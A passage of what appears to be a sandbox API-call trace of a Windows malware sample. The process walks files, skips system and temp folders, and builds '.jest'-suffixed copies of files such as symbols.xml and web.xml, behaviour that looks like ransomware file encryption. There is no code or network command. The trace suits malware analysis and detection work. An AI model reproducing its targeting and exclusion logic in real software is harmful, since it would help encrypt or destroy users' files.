pvarResult=0x18e9ec) returned 0x0 [0121.114] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.114] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.114] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.114] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.114] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.114] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.115] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.115] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.115] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.115] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.115] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.115] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.115] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.115] GetFullPathNameA (in: lpFileName="AQqVUSfXwfnRjr2W GdnTME8oLW2UhI9kIlVC_O-8prs7MUjLmKQQGpl0lqunxQE3RUWZ8khyPk7mM_Q52z6GN2hbW-mfYKL4rXl8.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AQqVUSfXwfnRjr2W GdnTME8oLW2UhI9kIlVC_O-8prs7MUjLmKQQGpl0lqunxQE3RUWZ8khyPk7mM_Q52z6GN2hbW-mfYKL4rXl8.tmp", lpFilePart=0x18e708*="AQqVUSfXwfnRjr2W GdnTME8oLW2UhI9kIlVC_O-8prs7MUjLmKQQGpl0lqunxQE3RUWZ8khyPk7mM_Q52z6GN2hbW-mfYKL4rXl8.tmp") returned 0x8f [0121.115] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", lpFilePart=0x18e708*="oskpred.xml") returned 0x4c [0121.115] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AQqVUSfXwfnRjr2W GdnTME8oLW2UhI9kIlVC_O-8prs7MUjLmKQQGpl0lqunxQE3RUWZ8khyPk7mM_Q52z6GN2hbW-mfYKL4rXl8.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AQqVUSfXwfnRjr2W GdnTME8oLW2UhI9kIlVC_O-8prs7MUjLmKQQGpl0lqunxQE3RUWZ8khyPk7mM_Q52z6GN2hbW-mfYKL4rXl8.tmp", lpUsedDefaultChar=0x0) returned 106 [0121.116] GetFullPathNameA (in: lpFileName="AQqVUSfXwfnRjr2W GdnTME8oLW2UhI9kIlVC_O-8prs7MUjLmKQQGpl0lqunxQE3RUWZ8khyPk7mM_Q52z6GN2hbW-mfYKL4rXl8.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AQqVUSfXwfnRjr2W GdnTME8oLW2UhI9kIlVC_O-8prs7MUjLmKQQGpl0lqunxQE3RUWZ8khyPk7mM_Q52z6GN2hbW-mfYKL4rXl8.tmp", lpFilePart=0x18e6e4*="AQqVUSfXwfnRjr2W GdnTME8oLW2UhI9kIlVC_O-8prs7MUjLmKQQGpl0lqunxQE3RUWZ8khyPk7mM_Q52z6GN2hbW-mfYKL4rXl8.tmp") returned 0x8f [0121.116] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AQqVUSfXwfnRjr2W GdnTME8oLW2UhI9kIlVC_O-8prs7MUjLmKQQGpl0lqunxQE3RUWZ8khyPk7mM_Q52z6GN2hbW-mfYKL4rXl8.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x56715141, cFileName="USfXwfnRjr2W GdnTME8oLW2UhI9kIlVC_O-8prs7MUjLmKQQGpl0lqunxQE3RUWZ8khyPk7mM_Q52z6GN2hbW-mfYKL4rXl8.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.116] GetLastError () returned 0x2 [0121.116] GetLastError () returned 0x2 [0121.116] SetLastError (dwErrCode=0x2) [0121.116] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.117] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_symbols.xml_96f37034", iMaxLength=121 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_symbols.xml_96f37034") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_symbols.xml_96f37034" [0121.117] lstrcpynW (in: lpString1=0x14da79c, lpString2="symbols.xml", iMaxLength=12 | out: lpString1="symbols.xml") returned="symbols.xml" [0121.117] lstrcpynW (in: lpString1=0x1445ffc, lpString2="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions", iMaxLength=63 | out: lpString1="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions") returned="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" [0121.117] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 0x4d [0121.117] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0121.117] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 0x4d [0121.117] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0121.117] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 0x4d [0121.118] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0121.118] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 0x4d [0121.118] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0121.118] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 0x4d [0121.118] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0121.118] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", cchLength=0x4d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 0x4d [0121.118] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0121.119] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.119] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.119] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.119] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.119] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.119] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", lpFilePart=0x18e870*="symbols.xml") returned 0x4c [0121.121] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml.jest", lpFilePart=0x18e870*="symbols.xml.jest") returned 0x51 [0121.122] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", lpFilePart=0x18e6d8*="symbols.xml") returned 0x4c [0121.122] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x5c, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 0x143ce48 [0121.122] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.123] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", lpFilePart=0x18e780*="symbols.xml") returned 0x4c [0121.123] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.123] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", lpFilePart=0x18e780*="symbols.xml") returned 0x4c [0121.124] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.124] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x312)) [0121.124] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.124] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x312)) [0121.124] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x312)) [0121.124] GetUserDefaultLCID () returned 0x409 [0121.124] VarBstrFromR4 (in: fltIn=0x479442e5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75909.79") returned 0x0 [0121.125] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", lpFilePart=0x18e780*="symbols.xml") returned 0x4c [0121.125] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.125] GetCurrentProcessId () returned 0x9e0 [0121.125] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0121.125] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0121.126] GetFullPathNameA (in: lpFileName="rF4RNob8elQuJFnr3zL94k6ev4qqBVppOu4xdg39SIgSFUxKs7Fp6RpyYho94aY8kkhJyxgj4j1q8uBH7POy6B17gXgFJKcilyJg.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rF4RNob8elQuJFnr3zL94k6ev4qqBVppOu4xdg39SIgSFUxKs7Fp6RpyYho94aY8kkhJyxgj4j1q8uBH7POy6B17gXgFJKcilyJg.tmp", lpFilePart=0x18e708*="rF4RNob8elQuJFnr3zL94k6ev4qqBVppOu4xdg39SIgSFUxKs7Fp6RpyYho94aY8kkhJyxgj4j1q8uBH7POy6B17gXgFJKcilyJg.tmp") returned 0x8e [0121.126] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", lpFilePart=0x18e708*="symbols.xml") returned 0x4c [0121.126] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rF4RNob8elQuJFnr3zL94k6ev4qqBVppOu4xdg39SIgSFUxKs7Fp6RpyYho94aY8kkhJyxgj4j1q8uBH7POy6B17gXgFJKcilyJg.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rF4RNob8elQuJFnr3zL94k6ev4qqBVppOu4xdg39SIgSFUxKs7Fp6RpyYho94aY8kkhJyxgj4j1q8uBH7POy6B17gXgFJKcilyJg.tmp", lpUsedDefaultChar=0x0) returned 105 [0121.126] GetFullPathNameA (in: lpFileName="rF4RNob8elQuJFnr3zL94k6ev4qqBVppOu4xdg39SIgSFUxKs7Fp6RpyYho94aY8kkhJyxgj4j1q8uBH7POy6B17gXgFJKcilyJg.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rF4RNob8elQuJFnr3zL94k6ev4qqBVppOu4xdg39SIgSFUxKs7Fp6RpyYho94aY8kkhJyxgj4j1q8uBH7POy6B17gXgFJKcilyJg.tmp", lpFilePart=0x18e6e4*="rF4RNob8elQuJFnr3zL94k6ev4qqBVppOu4xdg39SIgSFUxKs7Fp6RpyYho94aY8kkhJyxgj4j1q8uBH7POy6B17gXgFJKcilyJg.tmp") returned 0x8e [0121.126] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rF4RNob8elQuJFnr3zL94k6ev4qqBVppOu4xdg39SIgSFUxKs7Fp6RpyYho94aY8kkhJyxgj4j1q8uBH7POy6B17gXgFJKcilyJg.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x52344672, cFileName="Nob8elQuJFnr3zL94k6ev4qqBVppOu4xdg39SIgSFUxKs7Fp6RpyYho94aY8kkhJyxgj4j1q8uBH7POy6B17gXgFJKcilyJg.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.127] GetLastError () returned 0x2 [0121.127] GetLastError () returned 0x2 [0121.127] SetLastError (dwErrCode=0x2) [0121.127] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.127] lstrcpynW (in: lpString1=0x14cf144, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_web.xml_c9566883", iMaxLength=117 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_web.xml_c9566883") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_web.xml_c9566883" [0121.127] lstrcpynW (in: lpString1=0x14da79c, lpString2="web.xml", iMaxLength=8 | out: lpString1="web.xml") returned="web.xml" [0121.128] lstrcpynW (in: lpString1=0x145efdc, lpString2="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions", iMaxLength=63 | out: lpString1="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions") returned="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" [0121.128] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml") returned 0x49 [0121.128] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0121.128] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml") returned 0x49 [0121.128] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0121.128] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml") returned 0x49 [0121.128] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0121.128] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml") returned 0x49 [0121.129] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0121.129] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml") returned 0x49 [0121.129] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0121.129] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml") returned 0x49 [0121.129] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0121.129] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.129] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.129] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.129] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.129] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.129] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", lpFilePart=0x18e870*="web.xml") returned 0x48 [0121.131] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml.jest", lpFilePart=0x18e870*="web.xml.jest") returned 0x4d [0121.133] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", lpFilePart=0x18e6d8*="web.xml") returned 0x48 [0121.133] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x5c, dwReserved1=0x8f0873f4, cFileName="web.xml", cAlternateFileName="")) returned 0x143ce48 [0121.133] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.133] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", lpFilePart=0x18e780*="web.xml") returned 0x48 [0121.133] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.134] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", lpFilePart=0x18e780*="web.xml") returned 0x48 [0121.134] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.134] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x322)) [0121.134] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.134] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x322)) [0121.135] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x322)) [0121.135] GetUserDefaultLCID () returned 0x409 [0121.135] VarBstrFromR4 (in: fltIn=0x479442e7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75909.8") returned 0x0 [0121.135] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", lpFilePart=0x18e780*="web.xml") returned 0x48 [0121.135] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.136] GetCurrentProcessId () returned 0x9e0 [0121.136] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0121.136] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0121.136] GetFullPathNameA (in: lpFileName="xfAwlEGV KBhY8Yokgx2yX9vVY9bt-FgXmnreVgkKaf l6k0IzBpxL8qLGtJSHToDvuyWlLOa5R74gV1ayMoDreAhnwKYgtOv74SW.tmp", nBufferLength=0x104, 